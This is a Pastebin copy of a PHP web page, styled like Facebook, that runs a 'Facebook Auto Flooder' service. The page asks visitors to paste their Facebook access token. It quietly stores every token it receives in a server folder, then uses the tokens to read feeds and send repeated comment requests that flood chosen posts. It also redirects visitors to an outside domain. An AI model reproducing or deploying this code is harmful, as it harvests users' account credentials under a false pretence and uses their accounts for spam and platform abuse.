Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- $yx=opendir('saveToken');
- while($isi=readdir($yx)){
- if($isi != '.' && $isi != '..'){
- $member[]=$isi;
- }
- }
- ?>
- <? include 'pubiway.php' ;?>
- <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <title><?php echo $set[judul];?>
- </title>
- <meta name="description" content="<?php echo $set[deskripsi];?>" />
- <link rel="stylesheet" href="danz.css" type="text/css"/>
- <link rel="shortcut icon" href="<?php echo $set[favicon];?>"/>
- </head>
- <body>
- <div class="acb aps">
- <table cellspacing="0" cellpadding="0" class="lr">
- <tr>
- <td valign="top">
- <a href="index.php">
- <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yz/r/aKhO2tw3FnO.png" width="78" height="21" class="img" alt="facebook" />
- </a>
- </td>
- <td valign="top" class="r">
- <span class="fcw mfsm">
- <? echo count($member); ?> Active User
- </span>
- </td>
- </tr>
- </table>
- </div>
- <?php
- $like = new like();
- if($_GET[act]){
- print '<script>top.location.href="http://emsblue.heck.in"</script>';
- }
- if($_POST[access_token]){
- $access_token = $_POST[access_token];
- $me = $like -> me($access_token);
- if($me[id]){
- echo'
- <div class="acw aps" style="padding-bottom:10px;"><table><tr><td class="apm" valign="top">
- <a href="http://facebook.com/'.$me[id].'">
- <img src="https://graph.facebook.com/'.$me[id].'/picture" alt="picture"/>
- </a></td><td class="l" valign="top">
- <span class="mfsl fcb">
- '.$me[name].'
- <br/>
- <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yr/r/kkE5oR4elmj.png" width="12" height="14" class="img" />
- </span> <span class="fcg"> Click <a class="sec" href="http://m.facebook.com/sharer.php?u=http://'.$_SERVER[HTTP_HOST].'/index.php">Here</a> To Share.</span></td></tr></table>
- </div>
- <div class="acg abt apm fcg">
- <h1>
- Facebook Auto Flooder
- <br/>
- Get a lot of enthusiasts on the status easily fast and free.
- </h1>
- </div>
- ';
- $like -> saveToken($access_token);
- if($_POST[id]){
- $like -> pancal($_POST[id]);
- }else{
- $like -> getData($access_token);
- }
- }else{
- $like -> invalidToken();
- }
- }else{
- $like->form();
- }
- class like {
- public function pancal($id){ for($i=1;$i<4;$i++){
- $this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/pubiwayflood.php?id='.$id.'&n='.$i)); }
- print '
- <div class="aclb apl"> <div class="acw fclb" style="margin:4px;" align="center">
- Done...
- <br/>
- <img src="loading.gif" "Loading..."/>
- <br/>
- <form method="post" action="index.php">
- <input type="submit" class="btn btnD" value="Back"/>
- <input name="access_token" value="'.$_POST[access_token].'" type="hidden"/>
- </form>
- </div></div>';
- }
- public function me($access){
- return json_decode($this-> _req('https://graph.fb.me/me?access_token='.$access),true);
- }
- public function saveToken($access){
- if(!is_dir('saveToken')){
- mkdir('saveToken');
- }
- $a=fopen('saveToken/'.$access,'w');
- fwrite($a,1);
- fclose($a);
- }
- public function invalidToken(){
- print '
- <div class="acr apl">
- Invalid Access Token
- </div>
- ';
- $this->form();
- }
- public function form(){
- print'
- <div class="aclb">
- <div class="acy apl abt abb">
- <span class="sec" >
- <center><b>Auto Flood Facebook</b></center></span>
- </div>
- </center>
- <form method="post" action="index.php">
- </td><td></tr></tbody></table><br></div></div></div></center>
- <div class="aclb apl">
- Enter Access Token
- <br />
- <input class="input" name="access_token" value="'.$_GET[access_token].'" type="text" style="width:95%"/>
- </div>
- </div>
- <div class="aclb apl">
- <input value="Enter" type="submit" class="btn btnC largeBtn" size="0" />
- </div>
- </form>
- <hr style="background-color:#cccccc;height:1px;border:0px solid #fff;margin:0.3em auto;width:100%;" />
- <div class="aclb">
- <div class="aclb apl">
- <a class="btn btnS largeBtn" href="token.php">
- Get Access Token
- </a>
- </div>
- </div>
- </div>
- ';
- }
- public function getData($access){
- $feed=json_decode($this -> _req('https://graph.fb.me/me/feed?access_token='.$access.'&limit=1'),true);
- if(count($feed[data]) >= 1){
- echo '
- <div class="aclb abt abb aps">Select the status of your best
- </div><div class="aclb apm abb">
- ';
- for($i=0;$i<count($feed[data]);$i++){
- $uid = $feed[data][$i][from][id];
- $name = $feed[data][$i][from][name];
- $type = $feed[data][$i][type];
- $mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
- $id = $feed[data][$i][id];
- $pic = $feed[data][$i][picture];
- echo'
- <div class="acw aps abb abt" style="margin-top:4px;margin-left:2px;margin-bottom:4px;margin-right:2px;">
- <table>
- <tr>
- <td valign="top" class="aps">
- <img src="http://graph.facebook.com/'.$uid.'/picture" alt="Facebookers" />
- </td>
- <td valign="top" class="l">
- <span class="mfss">
- <a href="http://facebook.com/'.$uid.'" class="sec">
- '.$name.'
- </a>
- </span><br/>
- <span class="mfss fcg">
- <abbr>
- '.$type.'
- </abbr>
- <b>
- <span class="fcg mfss">
- .
- </span>
- </b>
- <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yv/r/5SYOjS874Mk.png" width="10" height="11" class="feedAudienceIcon img" />
- </span>';
- if($type=='photo'){
- echo '
- <br/>
- <br/>
- <br/>
- <img src="'.$pic.'" alt=""class="imgCrop img" style="width:100%;height:100%;left:0;top:0;" />
- <span>
- '.$mess.'
- </span>
- ';
- }else{
- echo '
- <br/>
- <span>
- '.$mess.'
- </span>
- ';
- }
- echo '
- </td>
- </tr>
- </table>
- <div align="right">
- <form action="pubiwayflood.php" method="post"/>
- <input type="hidden" name="id" value="'.$id.'"/>
- <input type="hidden" name="access_token" value="'.$access.'"/>
- Masukkan Komentar :
- <input type="text" name="coment" />
- <input name="pancal" type="submit" value="Flood Status Ini" class="btn btnC"/>
- </form>
- </div>
- <hr>
- <div class="acg abt apm fcg">
- <center>
- <b>Mau flood status/foto lain? Masukkan ID Post dibawah:<br></b>
- <form action="pubiwayflood.php" method="post"/>
- ID Post:
- <input type="text" name="id" /><br>
- <input type="hidden" name="access_token" value="'.$access.'"/>
- Masukkan Komentar :
- <input type="text" name="coment" /><br>
- <input name="pancal" type="submit" value="Flood Status Lain!" class="btn btnC"/>
- </form>
- </div>
- ';
- }
- }else{
- print '
- <div class="acw apm">
- errOr... Your status not found
- </div>';
- }
- print '
- </div>
- ';
- }
- private function _req($url){
- $ch = curl_init();
- curl_setopt_array($ch,array(
- CURLOPT_CONNECTTIMEOUT => 5,
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_URL => $url,
- )
- );
- $result = curl_exec($ch);
- curl_close($ch);
- return $result;
- }
- }
- ?>
- <? include 'dev.php' ;?>
- <div class="acg apm">
- <span class="mfss fcg">
- </b>
- </span>
- </div>
- <div class="acg apm"><center>
- copyright © <?
- echo $set[nama_admin] ;
- echo '<br>';
- echo $set[tahun];
- ?>
- </span>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement